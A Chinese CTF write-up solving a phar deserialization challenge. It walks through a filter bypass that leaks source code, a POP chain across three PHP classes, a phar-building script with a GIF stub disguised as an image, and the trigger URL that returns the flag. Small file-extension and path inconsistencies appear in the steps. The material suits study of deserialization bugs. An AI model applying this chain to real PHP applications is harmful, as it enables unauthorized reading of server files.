web6-考核
题目类型
题目来自星盟ctf训练平台
是一道纯正的phar
反序列化与代码审计结合的题目
关于phar反序列化
首先要做phar
反序列化的话,得好好的补一下unserialize()
的课了
做的时候要心里有数,得知道反序列化的时候触发哪些魔法方法,序列化的时候触发哪些魔法方法
我是这样理解的,本质上phar反序列化是跟unserialize反序列化一样的,只不过触发的方式不同罢了,你打开phar反序列化文件看,里面的形式跟unserialize就长得差不多
解题
入口
入口是download.php
页面
$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php';
$dir ="./";
$down_host = $_SERVER['HTTP_HOST'].'/';
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
Header ( "Content-Disposition: attachment; filename=" . $filename );
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}
初步看代码,注意这里的逻辑:
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
} else {
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
.....
首先给你判断$name
里面有没有被ban掉的关键字,如果有直接返回hacker
但是,如果没有的话,会给你safe_replace($name)
过滤一下,然后再判断有没有,如果有才进行关键的文件读取操作
这样就很明确了,safe_replace
没有源码给你看,但很显然是过滤一些符号,这里可以bp抓包fuzz一下,设置name =fi§§le,中间添加各种符号
fuzz出来是把反斜杠给替换成空字符,这样我们就能绕过代码逻辑然后下载所有源码
得到源码
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
if(preg_match('/http|https|file:|gopher|dict|php|zip|\.\/|\.\.|flag/i',$file)) {
die('hacker!');
if(substr($file,0,4)=='phar'){
die('hacker!');
}
}elseif(!preg_match('/\//i',$file))
{
die('hacker!');
}
$show = new Show('');
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
class.php
<?php
class Show
{
public $source;
public $str;
public function __construct($file)
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|zip|php|\.\.|flag/i',$this->source)) {
die('hacker!');
}
if(substr($this->source,0,4)=='phar'){
die('hacker!');
}else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|zip|php|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
echo $this->file;
}
}
class Sh0w
{
public $test;
public $str;
public function __construct($name)
{
$this->str = new Show('index.php');
$this->str->source = $this->test;
}
public function __destruct()
{
$this->str->_show();
}
}
?>
其实核心源码就上面两个,主页的源码提示flag在/flag
这里如果你考虑过文件上传漏洞,那么很好,但是你会发现读取文件用的函数是
highlight_file($this->source);
所以传马是没用的,也不能直接读取flag文件
注意看第11行的过滤
如果不能看行号建议打开Typora设置里面的显示行号
if(substr($file,0,4)=='phar'){
过滤了前4个字不为phar,要知道,我们是可以用骚操作绕过前四个字为phar来实现phar反序列化的
在仔细看文件上传,而且源码存在丰富的文件操作函数都可以触发phar反序列化,无疑了
目光转向class.php里面丰富的类与魔法方法
构造反序列化pop链
明确入口
首先明确,这里有3个类,我们到底要序列化哪一个类
也就是说,pop链的入口在哪
这里是很重要的一点,
要我们知道,unserialize
操作中要触发的魔法方法是从最先的__weakup()
,最后是最后销毁对象的__destruct()
由于3个show类长得太像了,所以下文称他们为show1,show2,show3
这里只有show1类里面有一个weakup,以及show3中的destruct
show1中的weakup感觉无用,所以我们肯定是要序列化show3
于是,大胆的写下第一句代码
$show3 = new Sh0w("");
还有很重要的一点,在构造序列化的时候,你一定要清楚,你最后是构造出一个类,序列化后是一个字符串,而你在构造的时候做的所有动态的操作,例如调用函数,定义静态变量等等,最后都是不能写进序列化字符串里面的,所以,你写的语句都应该是赋值语句
在调试的时候,你应该在最后写上序列化与反序列化操作来看看你的结果
include "class.php";
$show3 = new Sh0w("");
....
$s1 = serialize($show3);
echo $s1;
unserialize($s1);
明确出口
还有一点需要明确的是,你最后能在哪里看到flag
找一找上下文,如果是要看到flag,无非就是要echo出来,或者是highlight_file这样的函数,于是全文也只有31行与62行能够看到flag了
再看看各自的参数我们是否可控
首先,如果我们要用31行的highlight_file($this->source);
拿到flag的话,那么$this->source
必定要控制成类似于/flag ../../../../flag之类的
但是,看前面的过滤就知道应该是不可能的,死死的过滤了flag关键字,所以,我们只能看向62行的echo
关键点
echo在show2类里面,并且存在注意到show1类里面的__toString()
也写了file_get_contents貌似能够读取出来flag并返回
如果我们能在这里echo出实例化的show1的话,并且$show1->source
控制成/flag
就行了
那么怎么能够触发file_get()
函数呢,我们注意到show2类里面的__call()
方法
public function __call($name, $arguments) { if($this->{$name}) $this->{$this->{$name}}($arguments); }
__call()方法是在类调用不存在的函数时触发的魔法方法
如果show2类触发不存在的方法的话,就会进入__call()
例如,如果我们执行$show2->aaaaa();
那么$name = aaaaa;
, 再结合__get()
魔法方法,会寻找$this->params
里面的键值对,并且取出来赋值给$this->{$name}
这一坨,在调试的时候可以用var_dump($this->{$name});
看一下。
我们在看看我们的入口
$this->str->_show();
很好,大家肯定以及发现了,如果我们把$this->str
控制成show2实例的话,就能触发一个show2不存在的函数,然后进去call方法
所以,如果
$show2->params = array("_show"=>"file_get");
就能很好的连接我们的pop链
再次梳理
入口:$show3 = new Sh0w("");
, 触发$this->str->_show();
控制:$this->str = new S6ow();
进入:public function __call($name, $arguments)
控制:$show3->str->params = array("_show"=>"file_get");
触发 :echo $this->file;
控制 :
$show3->str->file = new Show(""); $show3->str->file->source = "/flag";
由于echo后面接实例化对象的话,会触发对应类中的__toString()
于是整个echo $this->file;
就变成了
$text= $this->source; //上面控制了source = "/flag" $text = base64_encode(file_get_contents($text)); echo $text;
于是就返回了flag!
最后的poc
$show3 = new Sh0w(""); $show3->str = new S6ow(); $show3->str->file = new Show(""); $show3->str->file->source = "flag"; $show3->str->params = array("_show"=>"file_get"); //下面是验证poc的代码 $s1 = serialize($show3); echo $s1; unserialize($s1);
结合phar反序列化完成最后的步骤
<?php include "class.php"; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $show3 = new Sh0w(""); $show3->str = new S6ow(); $show3->str->file = new Show(""); $show3->str->file->source = "/flag"; $show3->str->params = array("_show"=>"file_get"); // $s1 = serialize($show3); // echo $s1; // unserialize($s1); $phar->setMetadata($show3); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 // 签名自动计算 $phar->stopBuffering(); ?>
修改php.ini中的
phar.readonly = 0
然后运行生成phar.phar文件,修改后缀名为png,上传到题目服务器
根据提示计算文件名的md5值,
php -a php > echo md5("phar.png"); ed54ee58cd01e120e27939fe4a64fa92
接下来是考虑在哪里触发phar反序列化了,我们观察file.php,也就是读取文件那个页面存在file_exists($file)
语句可以直接触发反序列化,
在看一下过滤,实际上我们如果过了第一个条件的话,是进不了判断是否以phar开头的
所以我们直接写
/file.php?file=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.jpg
就可以成功返回flag的base64!
最后
php -a php > echo base64_decode("eG1jdGZ7cGg0cl9zM3IxYWwxejNfMXNfZnU5IX0K"); xmctf{ph4r_s3r1al1z3_1s_fu9!}
写在后面
距离上次做ctf题目已经快3个月了,这次做的还是挺辛苦的
因为这是我第二次做phar反序列化的题目,上次是做懵了的,这次花了3h左右认真做完过后感觉收获到了许多
记得之前Orange大佬说过
···Web 狗如何在险恶的 CTF 世界中存活?
···怎么可能存活,想多了。
···为了存活下来,不得不强迫自己学习更多技能!
所以,学弟们加油!